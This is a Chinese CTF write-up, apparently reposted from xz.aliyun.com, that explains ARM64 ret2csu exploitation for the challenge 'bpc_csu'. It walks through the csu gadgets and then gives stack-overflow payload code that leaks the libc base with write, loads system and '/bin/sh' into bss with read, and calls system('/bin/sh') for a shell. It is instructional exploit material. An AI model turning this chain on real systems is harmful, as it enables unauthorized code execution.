arm架构下pwn的csu利用
2023-2-22 22:5:0 Author: xz.aliyun.com(查看原文) 阅读量:9 收藏

arm架构下的csu利用与x86架构下的有很多相似的点

x86:

arm:

首先看一下gadget1:

LDP             X19, X20, [SP,#var_s10]
LDP             X21, X22, [SP,#var_s20]
LDP             X23, X24, [SP,#var_s30]
LDP             X29, X30, [SP+var_s0],#0x40          
RET

ldp指令​: load address pair 读取一对地址

LDP X19, X20, [SP,#var_s10]​会将SP+var_s10​地址的内容给到X19和X20寄存器

其中X19​传入SP+var_s10​的内容,X20​传入SP+var_s10​+0x8的内容

LDP X29, X30, [SP+var_s0],#0x40 ​​会再SP+var_s0​地址的内容传给X29和X30寄存器后,再将sp指针增加0x40字节

ret​ 返回到x30寄存器所存储的值

x30过程链接寄存器PLR (Produce Link Register) ,x30寄存器存放的是函数的返回地址

当ret指令执行时刻,会寻找x30寄存器保存的地址值

gadget2:

LDR             X3, [X21,X19,LSL#3]
MOV             X2, X24
ADD             X19, X19, #1
MOV             X1, X23
MOV             W0, W22
BLR             X3

CMP             X20, X19
B.NE            loc_4007F0

前四个参数存储在寄存器x0-x3中

LDR X3, [X21,X19,LSL#3]​将X19逻辑左移3位后,再加上X21寄存器的值,然后赋给X3

BLR X3​会跳转到X3储存的地址,并将下一指令的地址存到X30寄存器中

例题bpc_csu

开始布置write(1,[email protected],0x8)​,来获取libc基址

pl = b'a'*0x88 + p64(g1) #x29  x30
pl+= p64(main) + p64(0x100000000) #其实这里写什么都无所谓,主要是起个抬栈作用
pl+= p64(0) + p64(g2) #x29   x30
pl+= p64(0) + p64(1) #x19 --0   x20 --1
pl+= p64(elf.got['write']) + p64(1) ##x21 --addr  x22 --x0
pl+= p64(elf.got['write']) + p64(0x8) #x23 --x1  x24 --x2
pl+= p64(0) +p64(main) #x29   x30

因为read读入的空间,我们的sp抬了0x90

ret: 0x400798

这里执行后sp+0x20

ret: g1

跳转到g1后我们可以发现sp的值,我们的布置可以使g2可以放入x30

执行完g1

执行完g2

布置好了write(1,[email protected],0x8)

跳转到x3 -> write,开始leak

write_addr = uu64(r(6))
li('write_addr'+hex(write_addr))
libcbase = write_addr - libc.sym['write']
li('libcbase'+hex(libcbase))
system = libcbase + libc.sym['system']
li('system'+hex(system))

获取了libc基址后,我们就可以布置read(0,bss+0x100,0x20)​来送入shellcode

pl = b'a'*0x88 + p64(g1) #x29  x30
pl+= p64(main) + p64(0x100000000) 
pl+= p64(0) + p64(g2) #g1: x29   x30
pl+= p64(0) + p64(1) #g1: x19 --0   x20 --1
pl+= p64(elf.got['read']) + p64(0) #g1: x21 --addr  x22 --x0
pl+= p64(bss1) + p64(0x20) #g1: x23 --x1  x24 --x2
pl+= p64(0) + p64(main) #x29   x30

pl送入

g1执行完

g2执行完

布置好了read(1,bss+0x100,0x20)​后,将shellcode送入

pause()
p.sendline(p64(system)+b'/bin/sh\x00')

下面跳到main

布置system('/bin/sh',0,0)

pl = b'a'*0x88 + p64(g1) 
pl+= p64(main) + p64(0x100000000) 
pl+= p64(0) + p64(g2) #x29   x30
pl+= p64(0) + p64(1) #x19 --0   x20 --1
pl+= p64(bss1) + p64(bss1+8) #x21 --addr  x22 --x0
pl+= p64(0) + p64(0) #x23 --x1  x24 --x2
pl+= p64(0) + p64(main) #x29   x30
p.sendlineafter('Hello, World\n',pl)

执行g1

执行g2

执行system('/bin/sh',0,0)


文章来源: https://xz.aliyun.com/t/12204
如有侵权请联系:admin#unsafe.sh